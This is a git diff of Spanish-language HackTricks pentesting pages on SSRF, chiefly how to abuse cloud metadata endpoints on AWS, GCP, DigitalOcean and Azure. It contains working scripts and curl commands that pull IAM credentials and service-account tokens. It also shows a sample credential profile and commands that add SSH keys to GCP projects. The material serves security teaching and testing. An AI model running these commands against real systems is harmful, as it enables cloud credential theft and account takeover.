Ten en cuenta que durante este ataque, si quieres atacar localhost:11211 (_memcache_) necesitas hacer que la víctima establezca la conexión inicial con www.attacker.com:11211 (el **puerto siempre debe ser el mismo**).\
|
||||
Para **realizar este ataque puedes usar la herramienta**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
Para **más información** echa un vistazo a la charla donde se explica este ataque: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
|
||||
|
||||
## Blind SSRF
|
||||
## SSRF Ciego
|
||||
|
||||
La diferencia entre un SSRF ciego y uno que no lo es, es que en el ciego no puedes ver la respuesta de la solicitud SSRF. Entonces, es más difícil de explotar porque solo podrás explotar vulnerabilidades bien conocidas.
|
||||
|
||||
### SSRF basado en tiempo
|
||||
|
||||
**Comprobando el tiempo** de las respuestas del servidor podría ser **posible saber si un recurso existe o no** (quizás se tarda más tiempo en acceder a un recurso existente que a uno que no existe)
|
||||
**Comprobando el tiempo** de las respuestas del servidor podría ser **posible saber si un recurso existe o no** (quizás toma más tiempo acceder a un recurso existente que a uno que no existe)
|
||||
|
||||
## Explotación de SSRF en la Nube
|
||||
|
||||
|
@ -263,7 +275,7 @@ Si encuentras una vulnerabilidad SSRF en una máquina que se ejecuta dentro de u
|
|||
|
||||
## Plataformas Vulnerables a SSRF
|
||||
|
||||
Varias plataformas conocidas contienen o han contenido vulnerabilidades SSRF, compruébalas en:
|
||||
Varias plataformas conocidas contienen o han contenido vulnerabilidades SSRF, revísalas en:
|
||||
|
||||
{% content-ref url="ssrf-vulnerable-platforms.md" %}
|
||||
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
|
||||
|
@ -277,7 +289,7 @@ Herramienta para detectar y explotar vulnerabilidades SSRF
|
|||
|
||||
### [Gopherus](https://github.com/tarunkant/Gopherus)
|
||||
|
||||
* [Publicación en el blog sobre Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
|
||||
* [Artículo sobre Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
|
||||
|
||||
Esta herramienta genera cargas útiles Gopher para:
|
||||
|
||||
|
@ -290,7 +302,7 @@ Esta herramienta genera cargas útiles Gopher para:
|
|||
|
||||
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
|
||||
* [Publicación en el blog sobre el uso de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
* [Artículo sobre el uso de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
|
||||
_remote-method-guesser_ es un escáner de vulnerabilidades _Java RMI_ que admite operaciones de ataque para la mayoría de las vulnerabilidades comunes de _Java RMI_. La mayoría de las operaciones disponibles admiten la opción `--ssrf`, para generar una carga útil _SSRF_ para la operación solicitada. Junto con la opción `--gopher`, se pueden generar directamente cargas útiles _gopher_ listas para usar.
|
||||
|
||||
|
@ -310,12 +322,22 @@ SSRF Proxy es un servidor proxy HTTP multi-hilo diseñado para tunelizar el trá
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Obtén Acceso Hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -2,19 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra vulnerabilidades que importan para poder solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -24,17 +26,17 @@ Encuentra las vulnerabilidades que más importan para que puedas solucionarlas m
|
|||
|
||||
### Abusando de SSRF en el entorno de AWS EC2
|
||||
|
||||
**La metadata** se puede acceder desde cualquier máquina EC2 y ofrece información interesante sobre ella. Es accesible en la URL: `http://169.254.169.254` ([información sobre la metadata aquí](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
**El endpoint de metadatos** se puede acceder desde dentro de cualquier máquina EC2 y ofrece información interesante sobre ella. Es accesible en la url: `http://169.254.169.254` ([información sobre los metadatos aquí](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Hay **2 versiones** de la metadata. La **primera** permite **acceder** a la metadata mediante solicitudes **GET** (por lo que cualquier SSRF puede explotarla). Para la **versión 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), debes solicitar un **token** enviando una solicitud **PUT** con una **cabecera HTTP** y luego usar ese token para acceder a la metadata con otra cabecera HTTP (por lo que es **más complicado de abusar** con un SSRF).
|
||||
Hay **2 versiones** del endpoint de metadatos. La **primera** permite **acceder** al endpoint mediante solicitudes **GET** (por lo que cualquier **SSRF puede explotarlo**). Para la **versión 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), necesitas solicitar un **token** enviando una solicitud **PUT** con un **encabezado HTTP** y luego usar ese token para acceder a los metadatos con otro encabezado HTTP (por lo que es **más complicado abusar** con un SSRF).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**según la documentación**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la solicitud PUT** tendrá un **límite de salto de 1**, lo que hace imposible acceder a la metadata de EC2 desde un contenedor dentro de la instancia EC2.
|
||||
Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**según la documentación**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la solicitud PUT** tendrá un **límite de salto de 1**, haciendo imposible acceder a los metadatos de EC2 desde un contenedor dentro de la instancia EC2.
|
||||
|
||||
Además, **IMDSv2** también **bloqueará las solicitudes para obtener un token que incluyan la cabecera `X-Forwarded-For`**. Esto es para evitar que los proxies inversos mal configurados puedan acceder a ella.
|
||||
Además, **IMDSv2** también **bloqueará solicitudes para obtener un token que incluyan el encabezado `X-Forwarded-For`**. Esto es para prevenir que proxies inversos mal configurados puedan acceder a él.
|
||||
{% endhint %}
|
||||
|
||||
Puedes encontrar información sobre los [puntos finales de la metadata en la documentación](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). En el siguiente script se obtiene información interesante de ella:
|
||||
Puedes encontrar información sobre los [endpoints de metadatos en la documentación](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). En el siguiente script se obtiene información interesante de él:
|
||||
```bash
|
||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||
|
@ -94,73 +96,72 @@ echo ""
|
|||
echo "EC2 Security Credentials"
|
||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||
```
|
||||
Como ejemplo de credenciales IAM **públicamente disponibles**, puedes visitar: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
Como ejemplo de **credenciales IAM públicamente disponibles** expuestas, puedes visitar: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
|
||||
También puedes verificar las credenciales de seguridad **públicas de EC2** en: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
También puedes verificar **credenciales de seguridad EC2** públicas en: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Luego puedes tomar **esas credenciales y usarlas con AWS CLI**. Esto te permitirá hacer **cualquier cosa que el rol tenga permisos** para hacer.
|
||||
|
||||
Para aprovechar las nuevas credenciales, deberás crear un nuevo perfil de AWS como este:
|
||||
Para aprovechar las nuevas credenciales, necesitarás crear un nuevo perfil de AWS como este:
|
||||
```
|
||||
[profilename]
|
||||
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
||||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
|
||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||
```
|
||||
Observa el **aws\_session\_token**, esto es indispensable para que el perfil funcione.
|
||||
Tenga en cuenta el **aws\_session\_token**, esto es indispensable para que el perfil funcione.
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) se puede utilizar con las credenciales descubiertas para conocer tus privilegios e intentar escalar privilegios.
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) se puede utilizar con las credenciales descubiertas para averiguar sus privilegios e intentar escalar privilegios
|
||||
|
||||
### SSRF en las credenciales de AWS ECS (Servicio de contenedores)
|
||||
### SSRF en credenciales de AWS ECS (Container Service)
|
||||
|
||||
**ECS**, es un grupo lógico de instancias EC2 en las que puedes ejecutar una aplicación sin tener que escalar tu propia infraestructura de gestión de clústeres, ya que ECS se encarga de eso por ti. Si logras comprometer el servicio que se ejecuta en **ECS**, los **puntos finales de metadatos cambian**.
|
||||
**ECS**, es un grupo lógico de instancias EC2 en las que puede ejecutar una aplicación sin tener que escalar su propia infraestructura de gestión de clústeres porque ECS lo gestiona por usted. Si logra comprometer un servicio que se ejecuta en **ECS**, los **puntos finales de metadatos cambian**.
|
||||
|
||||
Si accedes a _**http://169.254.170.2/v2/credentials/\<GUID>**_ encontrarás las credenciales de la máquina ECS. Pero primero necesitas **encontrar el \<GUID>**. Para encontrar el \<GUID> debes leer la variable **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** dentro de la máquina.\
|
||||
Podrías ser capaz de leerlo explotando una **travesía de ruta** a `file:///proc/self/environ`\
|
||||
La dirección http mencionada debería darte la **AccessKey, SecretKey y token**.
|
||||
Si accede a _**http://169.254.170.2/v2/credentials/\<GUID>**_ encontrará las credenciales de la máquina ECS. Pero primero necesita **encontrar el \<GUID>**. Para encontrar el \<GUID> necesita leer la variable **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** dentro de la máquina.\
|
||||
Podría ser capaz de leerlo explotando un **Path Traversal** a `file:///proc/self/environ`\
|
||||
La dirección http mencionada debería darle el **AccessKey, SecretKey y token**.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Ten en cuenta que en **algunos casos** podrás acceder a la **instancia de metadatos de EC2** desde el contenedor (verifica las limitaciones de TTL de IMDSv2 mencionadas anteriormente). En estos escenarios, desde el contenedor podrías acceder tanto al rol IAM del contenedor como al rol IAM de EC2.
|
||||
Tenga en cuenta que en **algunos casos** podrá acceder a la **instancia de metadatos EC2** desde el contenedor (verifique las limitaciones de TTL de IMDSv2 mencionadas anteriormente). En estos escenarios desde el contenedor podría acceder tanto al rol IAM del contenedor como al rol IAM de EC2.
|
||||
{% endhint %}
|
||||
|
||||
### SSRF para AWS Lambda <a href="#6f97" id="6f97"></a>
|
||||
|
||||
En este caso, las **credenciales se almacenan en variables de entorno**. Por lo tanto, para acceder a ellas, debes acceder a algo como **`file:///proc/self/environ`**.
|
||||
En este caso las **credenciales se almacenan en variables de entorno**. Por lo tanto, para acceder a ellas necesita acceder a algo como **`file:///proc/self/environ`**.
|
||||
|
||||
Los **nombres** de las **variables de entorno interesantes** son:
|
||||
El **nombre** de las **variables de entorno interesantes** son:
|
||||
|
||||
* `AWS_SESSION_TOKEN`
|
||||
* `AWS_SECRET_ACCESS_KEY`
|
||||
* `AWS_ACCES_KEY_ID`
|
||||
|
||||
Además, además de las credenciales IAM, las funciones Lambda también tienen **datos de eventos que se pasan a la función cuando se inicia**. Estos datos están disponibles para la función a través de la [interfaz de tiempo de ejecución](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) y podrían contener **información sensible** (como en **stageVariables**). A diferencia de las credenciales IAM, estos datos son accesibles a través de SSRF estándar en **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
Además, además de las credenciales IAM, las funciones Lambda también tienen **datos de eventos que se pasan a la función cuando se inicia**. Estos datos están disponibles para la función a través de la [interfaz de ejecución](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) y podrían contener **información** **sensible** (como dentro de las **stageVariables**). A diferencia de las credenciales IAM, estos datos son accesibles a través de SSRF estándar en **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que las **credenciales de lambda** están dentro de las **variables de entorno**. Por lo tanto, si el **rastro de pila** del código lambda imprime las variables de entorno, es posible **filtrarlas provocando un error** en la aplicación.
|
||||
Tenga en cuenta que las **credenciales lambda** están dentro de las **variables de entorno**. Por lo tanto, si el **rastreo de pila** del código lambda imprime vars de entorno, es posible **exfiltrarlas provocando un error** en la app.
|
||||
{% endhint %}
|
||||
|
||||
### SSRF URL para AWS Elastic Beanstalk <a href="#6f97" id="6f97"></a>
|
||||
### URL de SSRF para AWS Elastic Beanstalk <a href="#6f97" id="6f97"></a>
|
||||
|
||||
Recuperamos el `accountId` y `region` de la API.
|
||||
Obtenemos el `accountId` y `region` de la API.
|
||||
```
|
||||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
A continuación, recuperamos el `AccessKeyId`, `SecretAccessKey` y `Token` de la API.
|
||||
Luego recuperamos el `AccessKeyId`, `SecretAccessKey` y `Token` de la API.
|
||||
```
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
|
||||
|
||||
```markdown
|
||||
Luego usamos las credenciales con `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
||||
|
||||
## GCP <a href="#6440" id="6440"></a>
|
||||
|
||||
Puedes [**encontrar aquí la documentación sobre los puntos finales de metadatos**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||||
|
||||
### URL SSRF para Google Cloud <a href="#6440" id="6440"></a>
|
||||
### URL de SSRF para Google Cloud <a href="#6440" id="6440"></a>
|
||||
|
||||
Requiere el encabezado "Metadata-Flavor: Google" o "X-Google-Metadata-Request: True" y puedes acceder al punto final de metadatos con las siguientes URLs:
|
||||
|
||||
|
@ -169,6 +170,7 @@ Requiere el encabezado "Metadata-Flavor: Google" o "X-Google-Metadata-Request: T
|
|||
* http://metadata
|
||||
|
||||
Puntos finales interesantes para extraer información:
|
||||
```
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
|
@ -247,13 +249,13 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
|
|||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||||
-H "Metadata-Flavor: Google"
|
||||
```
|
||||
Beta NO requiere un encabezado en este momento (gracias Mathias Karlsson @avlidienbrunn)
|
||||
Beta no requiere un encabezado en este momento (gracias a Mathias Karlsson @avlidienbrunn)
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Para **utilizar el token de la cuenta de servicio exfiltrada**, simplemente puedes hacer lo siguiente:
|
||||
Para **utilizar el token de cuenta de servicio exfiltrado** simplemente puedes hacer:
|
||||
```bash
|
||||
# Via env vars
|
||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||
|
@ -267,7 +269,7 @@ gcloud config unset auth/access_token_file
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
### Agregar una clave SSH <a href="#3e24" id="3e24"></a>
|
||||
### Añadir una clave SSH <a href="#3e24" id="3e24"></a>
|
||||
|
||||
Extraer el token
|
||||
```
|
||||
|
@ -283,7 +285,7 @@ $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuX
|
|||
"access_type": "offline"
|
||||
}
|
||||
```
|
||||
Ahora empuja la clave SSH.
|
||||
Ahora sube la clave SSH.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -292,12 +294,10 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
|||
-H "Content-Type: application/json"
|
||||
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Digital Ocean <a href="#9f1f" id="9f1f"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
No existen cosas como Roles de AWS o cuentas de servicio de GCP, así que no esperes encontrar credenciales de bot de metadatos.
|
||||
No hay cosas como Roles de AWS o cuentas de servicio de GCP, así que no esperes encontrar metadatos ni credenciales de bot
|
||||
{% endhint %}
|
||||
|
||||
Documentación disponible en [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
|
@ -314,7 +314,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -327,7 +327,7 @@ Encuentra las vulnerabilidades que más importan para que puedas solucionarlas m
|
|||
[**Documentación** aquí](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||
|
||||
* **Debe** contener el encabezado `Metadata: true`
|
||||
* No debe contener un encabezado `X-Forwarded-For`
|
||||
* No **debe** contener un encabezado `X-Forwarded-For`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Bash" %}
|
||||
|
@ -376,9 +376,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
|
||||
### Azure App Service
|
||||
|
||||
Desde la variable **env** puedes obtener los valores de `IDENTITY_HEADER` _y_ `IDENTITY_ENDPOINT`. Que puedes usar para obtener un token para comunicarte con el servidor de metadatos.
|
||||
Desde el **env** puedes obtener los valores de `IDENTITY_HEADER` _y_ `IDENTITY_ENDPOINT`. Que puedes usar para obtener un token para comunicarte con el servidor de metadatos.
|
||||
|
||||
La mayoría de las veces, quieres un token para uno de estos recursos:
|
||||
La mayoría de las veces, querrás un token para uno de estos recursos:
|
||||
|
||||
* [https://storage.azure.com](https://storage.azure.com/)
|
||||
* [https://vault.azure.net](https://vault.azure.net/)
|
||||
|
@ -455,7 +455,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
|||
## IBM Cloud <a href="#2af0" id="2af0"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que en IBM, de forma predeterminada, los metadatos no están habilitados, por lo que es posible que no puedas acceder a ellos incluso si estás dentro de una VM de IBM Cloud.
|
||||
